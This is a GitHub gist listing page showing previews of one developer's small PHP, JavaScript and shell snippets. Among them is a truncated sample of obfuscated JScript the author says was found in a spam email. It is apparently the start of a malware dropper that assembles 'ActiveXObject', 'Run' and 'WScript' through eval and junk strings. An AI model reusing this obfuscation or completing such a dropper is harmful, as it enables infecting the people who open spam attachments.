Skip to content

Instantly share code, notes, and snippets.

View sanmai's full-sized avatar

Alexey Kopytko sanmai

View GitHub Profile
@sanmai
sanmai / flickr-to-html.php
Last active October 4, 2015 05:27
My Flickr to HTML convertor
<?php
define('API_KEY', 'set your Flickr API key here');
define('MY_USER_ID', '42620619@N05');
set_time_limit(600);
class flickrCall {
const URL_ENDPOINT = 'http://api.flickr.com/services/rest/?';
protected $data = array();
protected static $ch;
@sanmai
sanmai / lang.php
Last active October 19, 2015 02:32
Определялка языков
<?php
const LANGUAGE_ENGLISH = 'en';
const LANGUAGE_RUSSIAN = 'ru';
// языки какие мы поддерживаем в порядке приоритета
$languages = [LANGUAGE_RUSSIAN, LANGUAGE_ENGLISH];
// зададим язык из куки если она есть
if (isset($_COOKIE['lang']) && in_array($_COOKIE['lang'], $languages)) {
@sanmai
sanmai / die_twice.php
Created October 30, 2015 01:38
If you want to die more than once
<?php
class one
{
public function __construct()
{
die("DIED ONCE\n");
}
}
@sanmai
sanmai / lottery.html
Last active December 10, 2015 09:59
This program hashes an array of strings made from IV2 plus each participant name with SHA1, where IV2 is formed from SHA1 hash of IV plus sorted list of participants thus making the draw dependent not only on the original IV, but also on the list of participant. Then it sorts a resulting list of participants by each participant's hash and shows …
<!DOCTYPE html><html><head><meta charset="utf-8" />
<title>Draw a lottery in JavaScript</title>
<style type="text/css">
label, button {
display: block;
}
</style>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>
<script type="text/javascript" src="http://crypto-js.googlecode.com/svn/tags/3.0.2/build/rollups/sha1.js"></script>
<script type="text/javascript">
// ==UserScript==
// @name Getty Images Flickr Helper
// @namespace http://userscripts.org/users/163777
// @include https://contribute.gettyimages.com/producer/images/flickr/*
// @require http://code.jquery.com/jquery.min.js
// @version 1.01
// @updateURL https://gist.github.com/sanmai/5916333/raw/Getty_Images_Flickr_Helper.user.js
// ==/UserScript==
var currentPhoto = '', stylesAdded = false;
@sanmai
sanmai / Yahoo!_Japan_Auctions_Helper.user.js
Created July 15, 2013 06:53
This little helper donwloads and embeds each NABY message right under a link to one.
// ==UserScript==
// @name Yahoo! Japan Auctions Helper
// @namespace http://userscripts.org/users/163777
// @include http://page*.auctions.yahoo.co.jp/show/contact*
// @include http://page*.auctions.yahoo.co.jp/jp/show/contact*
// @require http://code.jquery.com/jquery.min.js
// @version 1.0
// ==/UserScript==
$('a[onclick][href^="/show/contact_detail"]').each(function () {
@sanmai
sanmai / prepare-commit-msg.sh
Last active December 23, 2015 08:28 — forked from bartoszmajsak/prepare-commit-msg.sh
Leaves as is any commit message other than for new commits.
#!/bin/bash
if [[ "$2" == "message" || -z "$2" ]]; then
BRANCH_NAME=$(git branch 2>/dev/null | grep -e ^* | tr -d ' *')
if [[ -n "$BRANCH_NAME" && "$BRANCH_NAME" != "master" ]]; then
echo "$BRANCH_NAME: $2 $(cat $1)" > $1
fi
fi
@sanmai
sanmai / LAN-GTJU3.txt
Created February 4, 2016 05:17
Logitec LAN-GTJU3 lsusb linux
Bus 004 Device 002: ID 0b95:1790 ASIX Electronics Corp. AX88179 Gigabit Ethernet
AX88179 - USB 3.0 to Gigabit Ethernet (GbE,GigE) | ASIX
@sanmai
sanmai / RG0712298895-SIG.js
Created February 19, 2016 09:19
Found this in a spam email
absoluteProcedure = eval(('alcohol', 'examine', 'situation', 'race', 'cocoon', 'apostrophe', '\u0074barge'.e()) + 'hi' + ('anonymous', 'opposition', 'investment', '\u0073transportation'.e()) + '');
absoluteProcedure = absoluteProcedure[('dessert', 'taboo', 'version', 'amorphous', 'stimulus', 'syndicate', '\u0041individuality'.e()) + 'ct' + ('boat', 'selection', 'contrast', 'program(me)', 'container', '\u0069storm'.e()) + 've' + ('combination', 'fortune', '\u0058accord'.e()) + 'O' + ('binary', 'condition', 'square', '\u0062centimetre'.e()) + 'je' + ('board', 'specification', '\u0063chocolate'.e()) + 't'];
tabletBarrack = ('cardinal', 'interpret', 'parity', 'arsenal', 'taboo', '\u0052campaign'.e()) + 'un';
function String.prototype.e(a) {
return this.charAt(a);
}
resultAnalogy = new absoluteProcedure(('veto', '\u0057acoustic'.e()) + 'Sc' + ('switch', 'delta', '\u0072massive'.e()) + 'i' + ('meeting', 'memorandum', 'autograph', 'portion', '\u0070reservation'.e()) + 't.' + ('parallel', 'declaration', '
@sanmai
sanmai / RSS.php
Created March 2, 2016 02:02
Генератор валидного RSS
<?php
header('Content-Type: application/rss+xml; charset=utf-8');
$self = "https://www.example.com/news.xml";
$url = "https://www.example.com/";
$name = "Новости Example.com";
$xml = new DOMDocument("1.0", "utf-8");
$xml->formatOutput = true;